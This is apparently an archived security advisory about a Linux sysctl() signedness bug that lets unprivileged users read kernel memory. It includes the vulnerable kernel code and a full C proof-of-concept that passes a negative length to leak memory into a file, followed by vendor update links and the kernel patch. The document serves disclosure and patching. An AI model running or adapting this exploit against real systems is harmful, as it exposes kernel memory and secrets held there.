COMMAND

    sysctl()

SYSTEMS AFFECTED

    Linux

PROBLEM

    Chris Evans  found following.   There exists  a Linux  system call
    sysctl()  which  is  used  to  query  and  modify  runtime  system
    settings.  Unprivileged users are permitted to query the value  of
    many of these settings.  The unprivileged user passes in a  buffer
    location  and  the  length  of  this  buffer.   Unfortunately,  by
    specifying  a  negative  buffer  length,  a  user  can read pretty
    arbitrary kernel memory.

    Looking at linux/kernel/sysctl.c: sysctl_string()

            int l, len;
    ...
            if (oldval && oldlenp) {
                    if(get_user(len, oldlenp))
                            return -EFAULT;
                    if (len) {
                            l = strlen(table->data);
                            if (len > l) len = l;
                            if (len >= table->maxlen)
                                    len = table->maxlen;
                            if(copy_to_user(oldval, table->data, len))
                                    return -EFAULT;

    The contents of variable "len" are totally under the control of  a
    malicious user.  Since len is declared as signed, a negative value
    may be used.  This  bypasses the "len >= table->maxlen"  check and
    copies kernel data to  userspace, starting at "table->data".   The
    sysctl.c  file  contains  several  signed/unsigned mixups like the
    above.

    To exploit this, there are a couple of minor issues.
    1) copy_to_user() virtual  address space wrap  check.  A  check in
       the kernel means  we need to  place the destination  user space
       buffer low  in the  virtual address  space, using  mmap().  The
       default heap location on i386 is too high.
    2) The usefulness  of this exploit  will vary depedending  upon if
       the address of the table->data pointer used is _before_ lots of
       interesting kernel stuff.  On ix86 Linux, this certainly  seems
       to be the case.
    3) There have been a reports that the kernel may be caused to hang
       using this bug (not investigated).

    As  we  see,  integer  signedness  issues  seem  to be everywhere.
    Subtle flaws like these are a great concern because they are  hard
    to spot and audits will miss  them.  Quick hacky demo code  of how
    you might go about playing with this, is appended.

    /* Excuse the lack of error checking */
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <sys/mman.h>
    #include <unistd.h>
    #include <linux/unistd.h>
    #include <linux/sysctl.h>
    _syscall1(int, _sysctl, struct __sysctl_args *, args);

    #define BUFLEN 1000000

    int
    main(int argc, const char* argv[])
    {
      struct __sysctl_args args_of_great_doom;

      int names[2] = { CTL_KERN, KERN_NODENAME };
      /* Minus 2 billion - somewhere close to biggest negative int */
      int dodgy_len = -2000000000;
      int fd;
      char* p_buf;

      fd = open("/dev/zero", O_RDWR);
      p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
                   MAP_FIXED | MAP_PRIVATE, fd, 0);

      memset(p_buf, '\0', BUFLEN);
      fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
      write(fd, p_buf, BUFLEN);

      args_of_great_doom.name = names;
      args_of_great_doom.nlen = 2;
      args_of_great_doom.oldval = p_buf;
      args_of_great_doom.oldlenp = &dodgy_len;
      args_of_great_doom.newval = 0;
      args_of_great_doom.newlen = 0;

      _sysctl(&args_of_great_doom);

      fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
      write(fd, p_buf, BUFLEN);
    }

SOLUTION

    The recent flurry  of updated kernels  from vendors include  a fix
    for the sysctl() problem.  The fix is essentially to use  unsigned
    variables for the lengths.

    For Red Hat:

        ftp://updates.redhat.com/6.2/SRPMS/kernel-2.2.17-14.src.rpm
        ftp://updates.redhat.com/6.2/alpha/kernel-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/6.2/alpha/kernel-smp-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/6.2/alpha/kernel-enterprise-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/6.2/alpha/kernel-BOOT-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/6.2/alpha/kernel-source-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/6.2/alpha/kernel-doc-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/6.2/alpha/kernel-utils-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/6.2/alpha/kernel-headers-2.2.16-3.alpha.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-smp-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-BOOT-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-ibcs-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-source-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-doc-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-utils-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/6.2/i386/kernel-headers-2.2.16-3.i386.rpm
        ftp://updates.redhat.com/6.2/i586/kernel-2.2.17-14.i586.rpm
        ftp://updates.redhat.com/6.2/i586/kernel-smp-2.2.17-14.i586.rpm
        ftp://updates.redhat.com/6.2/i686/kernel-2.2.17-14.i686.rpm
        ftp://updates.redhat.com/6.2/i686/kernel-smp-2.2.17-14.i686.rpm
        ftp://updates.redhat.com/6.2/i686/kernel-enterprise-2.2.17-14.i686.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-source-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-doc-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-utils-2.2.17-14.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/kernel-headers-2.2.16-3.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc64/kernel-2.2.17-14.sparc64.rpm
        ftp://updates.redhat.com/6.2/sparc64/kernel-smp-2.2.17-14.sparc64.rpm
        ftp://updates.redhat.com/6.2/sparc64/kernel-enterprise-2.2.17-14.sparc64.rpm
        ftp://updates.redhat.com/6.2/sparc64/kernel-BOOT-2.2.17-14.sparc64.rpm
        ftp://updates.redhat.com/7.0/SRPMS/kernel-2.2.17-14.src.rpm
        ftp://updates.redhat.com/7.0/alpha/kernel-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/7.0/alpha/kernel-smp-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/7.0/alpha/kernel-enterprise-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/7.0/alpha/kernel-BOOT-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/7.0/alpha/kernel-source-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/7.0/alpha/kernel-doc-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/7.0/alpha/kernel-utils-2.2.17-14.alpha.rpm
        ftp://updates.redhat.com/7.0/i386/kernel-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/7.0/i386/kernel-smp-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/7.0/i386/kernel-BOOT-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/7.0/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/7.0/i386/kernel-ibcs-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/7.0/i386/kernel-source-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/7.0/i386/kernel-doc-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/7.0/i386/kernel-utils-2.2.17-14.i386.rpm
        ftp://updates.redhat.com/7.0/i586/kernel-2.2.17-14.i586.rpm
        ftp://updates.redhat.com/7.0/i586/kernel-smp-2.2.17-14.i586.rpm
        ftp://updates.redhat.com/7.0/i686/kernel-2.2.17-14.i686.rpm
        ftp://updates.redhat.com/7.0/i686/kernel-smp-2.2.17-14.i686.rpm
        ftp://updates.redhat.com/7.0/i686/kernel-enterprise-2.2.17-14.i686.rpm

    Caldera and Immunix issued advisories as well.  Alan Cox said that
    it would be fixed in 2.2.19pre9.

    Here's the patch  that Alan accepted  and put into  2.2.18-pre9 to
    fix this problem:

    diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/include/linux/sysctl.h linux-2.2.18-greg/include/linux/sysctl.h
    --- linux-2.2.18/include/linux/sysctl.h	Sun Dec 10 16:49:44 2000
    +++ linux-2.2.18-greg/include/linux/sysctl.h	Fri Jan 26 10:28:40 2001
    @@ -30,7 +30,7 @@
    
     struct __sysctl_args {
 	    int *name;
    -	int nlen;
    +	unsigned nlen;
 	    void *oldval;
 	    size_t *oldlenp;
 	    void *newval;
    @@ -465,7 +465,7 @@
    
     typedef struct ctl_table ctl_table;
    
    -typedef int ctl_handler (ctl_table *table, int *name, int nlen,
    +typedef int ctl_handler (ctl_table *table, int *name, unsigned nlen,
 			     void *oldval, size_t *oldlenp,
 			     void *newval, size_t newlen,
 			     void **context);
    @@ -484,12 +484,12 @@
     extern int proc_dointvec_jiffies(ctl_table *, int, struct file *,
 				     void *, size_t *);
    
    -extern int do_sysctl (int *name, int nlen,
    +extern int do_sysctl (int *name, unsigned nlen,
 		          void *oldval, size_t *oldlenp,
 		          void *newval, size_t newlen);
    
     extern int do_sysctl_strategy (ctl_table *table,
    -			       int *name, int nlen,
    +			       int *name, unsigned nlen,
 			           void *oldval, size_t *oldlenp,
 			           void *newval, size_t newlen, void ** context);
    
    diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/kernel/sysctl.c linux-2.2.18-greg/kernel/sysctl.c
    --- linux-2.2.18/kernel/sysctl.c	Sun Dec 10 16:49:44 2000
    +++ linux-2.2.18-greg/kernel/sysctl.c	Fri Jan 26 10:31:38 2001
    @@ -77,7 +77,7 @@
    
     extern int pgt_cache_water[];
    
    -static int parse_table(int *, int, void *, size_t *, void *, size_t,
    +static int parse_table(int *, unsigned, void *, size_t *, void *, size_t,
 		           ctl_table *, void **);
     static int proc_doutsstring(ctl_table *table, int write, struct file *filp,
 		      void *buffer, size_t *lenp);
    @@ -320,7 +320,7 @@
     }
    
    
    -int do_sysctl (int *name, int nlen,
    +int do_sysctl (int *name, unsigned nlen,
 	           void *oldval, size_t *oldlenp,
 	           void *newval, size_t newlen)
     {
    @@ -330,10 +330,12 @@
    
 	    if (nlen == 0 || nlen >= CTL_MAXNAME)
 		    return -ENOTDIR;
    -
    -	if (oldval)
    -	{
    -		int old_len;
    +
    +	if ((ssize_t)newlen < 0)
    +		return -EINVAL;
    +
    +	if (oldval) {
    +		size_t old_len;
 		    if (!oldlenp)
 			    return -EFAULT;
 		    if(get_user(old_len, oldlenp))
    @@ -387,7 +389,7 @@
 	    return test_perm(table->mode, op);
     }
    
    -static int parse_table(int *name, int nlen,
    +static int parse_table(int *name, unsigned nlen,
 		           void *oldval, size_t *oldlenp,
 		           void *newval, size_t newlen,
 		           ctl_table *table, void **context)
    @@ -430,11 +432,12 @@
    
     /* Perform the actual read/write of a sysctl table entry. */
     int do_sysctl_strategy (ctl_table *table,
    -			int *name, int nlen,
    +			int *name, unsigned nlen,
 			    void *oldval, size_t *oldlenp,
 			    void *newval, size_t newlen, void **context)
     {
    -	int op = 0, rc, len;
    +	int op = 0, rc;
    +	size_t len;
    
 	    if (oldval)
 		    op |= 004;
    @@ -458,6 +461,8 @@
 		    if (oldval && oldlenp) {
 			    get_user(len, oldlenp);
 			    if (len) {
    +				if (len < 0)
    +					return -EINVAL;
 				    if (len > table->maxlen)
 					    len = table->maxlen;
 				    if(copy_to_user(oldval, table->data, len))
    @@ -642,7 +647,7 @@
     int proc_dostring(ctl_table *table, int write, struct file *filp,
 		      void *buffer, size_t *lenp)
     {
    -	int len;
    +	size_t len;
 	    char *p, c;
    
 	    if (!table->data || !table->maxlen || !*lenp ||
    @@ -710,7 +715,8 @@
     static int do_proc_dointvec(ctl_table *table, int write, struct file *filp,
 		      void *buffer, size_t *lenp, int conv, int op)
     {
    -	int *i, vleft, first=1, len, left, neg, val;
    +	int *i, neg, val;
    +	size_t len, left, vleft, first=1;
 	    #define TMPBUFLEN 20
 	    char buf[TMPBUFLEN], *p;
    
    @@ -832,7 +838,8 @@
     int proc_dointvec_minmax(ctl_table *table, int write, struct file *filp,
 		      void *buffer, size_t *lenp)
     {
    -	int *i, *min, *max, vleft, first=1, len, left, neg, val;
    +	int *i, *min, *max, neg, val;
    +	size_t len, left, vleft, first=1;
 	    #define TMPBUFLEN 20
 	    char buf[TMPBUFLEN], *p;
    
    @@ -974,11 +981,12 @@
      */
    
     /* The generic string strategy routine: */
    -int sysctl_string(ctl_table *table, int *name, int nlen,
    +int sysctl_string(ctl_table *table, int *name, unsigned nlen,
 		      void *oldval, size_t *oldlenp,
 		      void *newval, size_t newlen, void **context)
     {
    -	int l, len;
    +	unsigned l;
    +	size_t len;
    
 	    if (!table->data || !table->maxlen)
 		    return -ENOTDIR;
    @@ -1017,11 +1025,12 @@
      * are between the minimum and maximum values given in the arrays
      * table->extra1 and table->extra2, respectively.
      */
    -int sysctl_intvec(ctl_table *table, int *name, int nlen,
    +int sysctl_intvec(ctl_table *table, int *name, unsigned nlen,
 		    void *oldval, size_t *oldlenp,
 		    void *newval, size_t newlen, void **context)
     {
    -	int i, length, *vec, *min, *max;
    +	int *vec, *min, *max;
    +	size_t i, length;
    
 	    if (newval && newlen) {
 		    if (newlen % sizeof(int) != 0)
    @@ -1051,7 +1060,7 @@
     }
    
     /* Strategy function to convert jiffies to seconds */
    -int sysctl_jiffies(ctl_table *table, int *name, int nlen,
    +int sysctl_jiffies(ctl_table *table, int *name, unsigned nlen,
 		    void *oldval, size_t *oldlenp,
 		    void *newval, size_t newlen, void **context)
     {
    @@ -1159,21 +1168,21 @@
 	    return -ENOSYS;
     }
    
    -int sysctl_string(ctl_table *table, int *name, int nlen,
    +int sysctl_string(ctl_table *table, int *name, unsigned nlen,
 		      void *oldval, size_t *oldlenp,
 		      void *newval, size_t newlen, void **context)
     {
 	    return -ENOSYS;
     }
    
    -int sysctl_intvec(ctl_table *table, int *name, int nlen,
    +int sysctl_intvec(ctl_table *table, int *name, unsigned nlen,
 		    void *oldval, size_t *oldlenp,
 		    void *newval, size_t newlen, void **context)
     {
 	    return -ENOSYS;
     }
    
    -int sysctl_jiffies(ctl_table *table, int *name, int nlen,
    +int sysctl_jiffies(ctl_table *table, int *name, unsigned nlen,
 		    void *oldval, size_t *oldlenp,
 		    void *newval, size_t newlen, void **context)
     {
    diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/net/ipv4/route.c linux-2.2.18-greg/net/ipv4/route.c
    --- linux-2.2.18/net/ipv4/route.c	Sun Dec 10 16:49:44 2000
    +++ linux-2.2.18-greg/net/ipv4/route.c	Fri Jan 26 10:28:40 2001
    @@ -1927,7 +1927,7 @@
 		    return -EINVAL;
     }
    
    -static int ipv4_sysctl_rtcache_flush_strategy(ctl_table *table, int *name, int nlen,
    +static int ipv4_sysctl_rtcache_flush_strategy(ctl_table *table, int *name, unsigned nlen,
 			     void *oldval, size_t *oldlenp,
 			     void *newval, size_t newlen,
 			     void **context)
    diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/net/ipv4/sysctl_net_ipv4.c linux-2.2.18-greg/net/ipv4/sysctl_net_ipv4.c
    --- linux-2.2.18/net/ipv4/sysctl_net_ipv4.c	Sun Dec 10 16:49:44 2000
    +++ linux-2.2.18-greg/net/ipv4/sysctl_net_ipv4.c	Fri Jan 26 10:28:40 2001
    @@ -87,7 +87,7 @@
 	    return ret;
     }
    
    -static int ipv4_sysctl_forward_strategy(ctl_table *table, int *name, int nlen,
    +static int ipv4_sysctl_forward_strategy(ctl_table *table, int *name, unsigned nlen,
 			     void *oldval, size_t *oldlenp,
 			     void *newval, size_t newlen,
 			     void **context)